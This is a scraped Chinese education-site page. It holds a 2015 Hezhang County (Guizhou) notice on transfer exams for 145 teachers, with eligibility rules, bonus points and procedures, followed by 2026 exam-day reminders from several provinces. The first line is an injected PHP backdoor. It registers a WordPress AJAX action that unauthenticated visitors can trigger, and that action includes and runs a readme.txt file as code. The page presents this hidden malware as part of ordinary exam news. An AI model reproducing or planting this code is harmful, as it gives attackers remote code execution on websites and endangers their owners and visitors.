if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州省赫章县2015年中小学教师考调145人公告-全国教师资格考试网

贵州省赫章县2015年中小学教师考调145人公告

    根据赫章县部分中小学校(园)缺编情况及(赫县党发【2012】15号文件)要求,经县干部人事调配工作领导小组研究,2015年赫章县部分缺编学校(园)决定面向全国公办学校在职在编教师、事业单位在职在编财务和医务人员考调教师(工作人员)145名,为确保此项工作顺利开展,特制定《赫章县2015年面向全国公办学校(事业单位)考调部分缺编中小学(园)教师(工作人员)实施方案》。
一、考调原则及程序
考调工作严格按照合理搭配学科、空编准入及公开、平等、竞争、择优的原则进行。按照制定考调计划,发布考调公告、报名、资格审查、考试、考核、公示、办理调动手续、签订聘用合同的程序进行。
二、考调岗位
本次考调岗位分“实设岗位”和“待设岗位”两类。“实设岗位”为开考前各用人学校实际需求各科教师数所设的岗位(见附表1);“待设岗位”为考调后可能使城区周边乡镇初级中学教师出现严重不足问题而让其临时设置的岗位。进入面试且第一、第二志愿都未录取的考生,可根据受影响学校的学科需求重新申请从总成绩的高分到低分录入“待设岗位”,“待设岗位”的具体事项在赫章县人力资源网和赫章教育网上另行通知。
二、考调对象及条件
1、全国公办学校在职在编教师、事业单位在职在编医务人员和财务人员。
2、拥护中国共产党的领导,热爱社会主义;
3、遵纪守法,品行端正,为人师表;
4、报考教师岗位须截止至2015年8月31日具有3年以上教龄,报考医务人员和财务岗位的须截止至2015年8月31日具有3年以上工龄。
5、报考小学及以上学段岗位的,本县工作的考生年龄须45周岁以下(1970年8月1日以后出生),外县工作的考生年龄须40周岁以下(1975年8月1日以后出生);报考幼儿学段岗位的考生年龄须35周岁以下(1980年8月1日以后出生)。
6、报考高中学段教师岗位的,须具有大学本科及以上学历(报考地理、生物、舞蹈三个学科可放宽到全日制大学专科学历),持有所报考学科相应中学教师资格证书;
7、报考初中学段教师岗位的,须具有大学本科及以上学历(初始学历为全日制专科的可放宽到大专),持有中学相应学科教师资格证书,报考学科与本人所学专业必须一致(从事报考学科教学工作5年以上,近两个学年教学成绩在全乡同级同学科中等水平以上的不受专业限制;报考通用技术学科的,专业为物理或工科类专业;全日制学校毕业的法学、法律专业人员可报考政治学科);
8、报考小学学段教师岗位的,具有大学专科及以上学历,持有小学以上教师资格证书,专业不限;
9、报考校医岗位的,具有中等卫生学校毕业及以上学历,持有医师或护士资格证;
10、报考财务人员岗位的,具有中专及以上学历,持有会计资格证书;
11、报考幼儿学段教师岗位的,具有幼儿教育(学前教育)中专及以上学历(其中报考音乐学科的专业必须一致),持有幼儿教师资格证;
12、近两年年度考核须为合格及以上等次;
三、有下列情况之一者,不得报考
1、不坚持党的基本路线,在政治上不能与党中央保持一致的;
2、计生特岗及服务期未满的特岗教师;
3、有犯罪记录或正在被纪检监察机关立案调查或处分期未满的,或被司法机关确定为犯罪嫌疑人的;
4、经查实有在网上发布虚假信息诬陷他人、败坏他人名声或有网上恶意炒作行为的;
5、有较严重疾病,不能坚持正常工作的;
6、近5年内有停薪留职或减薪留职情况的;
7、2013至2015两个学年,所担任主要学科教学成绩平均分低于全乡(镇)同类学校(直校在本校比)同年级同学科平均分和所教班级学生辍学率超过有关标准的(同时上两个班以上的由报考者任选一个);
8、发生安全责任事故影响恶劣的,或出现违反职业道德行为影响极坏的;
9、在2013以来赫章县教育局行文调动过或2013年以来外县调入我县的教师不能报考。
10、其他有规定不能参加考调的人员。

#p#副标题#e#

四、加分
本次考调,对符合下列条件的本县考生在笔试成绩总分中加分,加分在百分制折算前进行。符合加分的考生,报名时需提供加分证明材料进行审核,符合加分条件的当场给予确认依据。
1、2012年8月至2015年7月三个学年,一直在除城关、白果、水塘堡、达依、财神、六曲河、野马川和平山8个乡镇以外的乡镇初级中学和中心小学(含相关乡镇所在地县直学校)任教的,笔试成绩加3分;三年内既有在村校任教经历又有在中心小学或初中任教经历的按加3分算;有借用到非本乡学校或其他单位时间超过一个月以上的不予加分。
2、2012年8月至2015年7月三个学年,一直在除城关、白果、水塘堡、达依、财神、六曲河、野马川和平山8个乡镇以外的乡镇村校(教学点)任教的,笔试成绩加6分(本乡中心小学和初级中学借用超过一个月以上的只能加3分);有借用到非本乡学校或其他单位时间超过一个月以上的不予加分。
3、教管中心人员考调,加分参照中心小学执行。
五、报名及资格审查
(一)信息发布时间:2015年8月1日
(二)报名
1.报名时间:2015年8月6日至7日,上午8:30–12:00,下午14:00–17:30。逾期不再办理报名手续。
2.报名方式:现场报名,不设网上报名。原则上考生须本人亲自前往报名,特殊情况可由他人代为报名,由他人代报的,由考生本人承担责任。
3.报名地点:赫章县人力资源和社会保障局人力资源市场大厅(赫章县城关镇前河路)。
4、报名要求:按照方案和条件要求,报名时考生需提供以下材料(提供复印件需使用A4纸张):
(1)毕业证书(不受理证明)、教师资格证书或县教研室出具的“教师资格证正在办理中”的证明(报考校医的需提供医师或护士资格证,报考财务人员的需提供会计资格证)、有效居民身份证等证件的原件和复印件;
2、同意报考证明(含教学业绩和辍学率信息,见证明模式,乡镇学校由乡镇党委和教管中心出具,县直学校由学校出具);
3、近期同底一寸免冠彩色照片4张;
4、符合加分条件的考生需提供加分证明材料(见证明模式);
5、报名表(内容除签字外均需机打);
6、属外县工作人员报考考生,除提供单位和主管部门都同意报考的证明外,还需提供“从考取公示之日起的10日内提交个人人事档案,否则作自动放弃处理”的承诺书(见《承诺书》模式)。
报名采取定校、定岗报名的方式进行,每个报考者可选择填报第一志愿和第二志愿两个岗位。第一志愿报考人数与所设岗位数达不到2∶1的,则对该岗位计划予以调整。职位考调计划减少的,报考该职位的考生所报职位不再进行调整。职位考调计划取消的,把考生第二志愿调整为第一志愿,调整后仍不能开考的,对报考该职位的考生办理退费手续。
(三)资格审查
资格审查贯穿考调工作全过程,在整个考调过程中任一环节发现应聘人员资格条件不符合考调方案要求,随时取消其考调资格。
本次考调工作资格审查由招聘领导小组组织实施,赫章县教育局具体负责,报名工作人员按照本《方案》和考生填写的《报名表》,对考生是否符合报考职位所需资格条件进行审查,经审查符合考调职位所需资格条件的考生,由资格审查人员签署同意报名意见,不符合报考条件的考生,不予报名考试。
(四)报名确认和准考证发放
资格审查通过的考生,缴纳报名费100元。
考生凭有效《居民身份证》及报名收费凭据于2015年8月10日下午4:00-5:30点在赫章县人力资源和社会保障局人力资源市场领取《笔试准考证》。

#p#副标题#e#

六、考试
考试采取笔试和面试相结合的方式进行,其总成绩计算方式为:笔试成绩×50%+面试成绩×50%=总成绩。
所有成绩分值均按“四舍五入法”保留小数点后两位数字。
(一)笔试
笔试为闭卷考试,由县招考领导小组统一组织命题、制卷、评卷,笔试卷面总分100分;所有考试内容均不指定参考书目。
笔试科目:笔试按所开考岗位分学科进行,内容为:相关学科专业知识。
笔试时间:2015年8月11日上午 9∶00—11∶30。
笔试地点:见《笔试准考证》,考生必须同时持有效《居民身份证》和《笔试准考证》原件才能进入考场参加考试。
笔试成绩达不到60分(含加分)的不进入面试等下一环节。
(二)面试
面试由考调领导小组组织实施,面试总分为100分。
1、面试对象:根据考生第一志愿分学科从笔试成绩(含加分)的高分到低分顺序,按考调岗位开考数2∶1的比例确定参加面试人员;如遇某岗位进入面试的人员达不到2∶1,则看能进入面试的考生笔试成绩是否达到70分以上,达到者可不考虑面试比例直接进入面试;如遇某岗位进入面试人员末位考生笔试成绩并列的,并列者同时参加面试;若遇某岗位只有一人进入面试,该面试考生面试成绩必须达到所参加面试考场实有面试考生面试成绩平均分以上,方可进入下一环节。
2、面试方式:报考教师岗位的考生面试采用试教的方式进行,报考;报考医务人员和财务岗位的考生面试采用结构化的方式进行。
未按时参加面试的考生视为自动弃权。面试成绩60分以下的不能进入考核等下一环节。
七、考核
(一)根据报考者第一志愿所报岗位,按考试总成绩从高分到低分以1∶1的比例确定录取对象(若同一岗位考生总成绩名次出现末位并列的,则以面试成绩高的考生确定为录取对象,面试成绩相同的进行再面试)。
(二)在第一志愿未得到录取的教师,如果第二志愿所报岗位还未录满,则按第二志愿岗位录取。
(三)考核以“德、能、勤、绩、廉”为主要内容,考核工作由教育局组织用人学校进行,考核要做到全面、客观、公正。
如果考核合格人数达不到考调岗位人数,则按岗位总成绩从进入面试人员中按高分到低分顺序递补一次;如第一志愿岗位存在空缺的,则从第二志愿进入面试人员中按高分到低分顺序递补一次。
八、公示和办理调动手续
经考核合格的人员,确定为拟调动对象,在赫章教育网、赫章人力资源网、县教育局公示栏上同时公示,公示期为3天,公示期满,对没有问题或反映问题不影响考调的,按照有关规定办理调动手续。调动人员试用期一年,从试用当月起,其编制、工资等手续全部转到调入学校管理。试用期满经考核合格者办理正式调动手续,不合格者取消调动资格。
九、签订聘用合同
为使用人学校一线教师相对稳定,促进教学质量的提高,凡此次考调的人员,均应与调入学校签订3年内不申请调动、离职进修;不申请参加公务员及其他事业单位招聘考试(组织需要提拔或报考乡科级以上干部的除外)的聘用合同(试用期满考核不合格的,合同自然解除),否则按违约处理缴纳违约金,金额城区学校按每违约一年缴纳10000元计算、乡镇学校按5000元计算。
十、纪律
考调工作严格按照公开、平等、竞争、择优的原则进行,坚持“三公开”( 考调条件公开、考调程序公开、考调结果公开)制度,同时接受纪检监察部门和社会各界监督,坚决杜绝弄虚作假、徇私舞弊等不良现象。
十一、其它事项
本实施方案由赫章县教育局负责解释,未尽事宜由领导小组研究决定。
咨询电话:0857-3222369(赫章县教育局)
0857-3232881(赫章县人力资源和社会保障局)
监督电话:0857-3222778(赫章县监察局)
点击下载>>>
赫章县考调领导小组办公室
2015年8月1日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部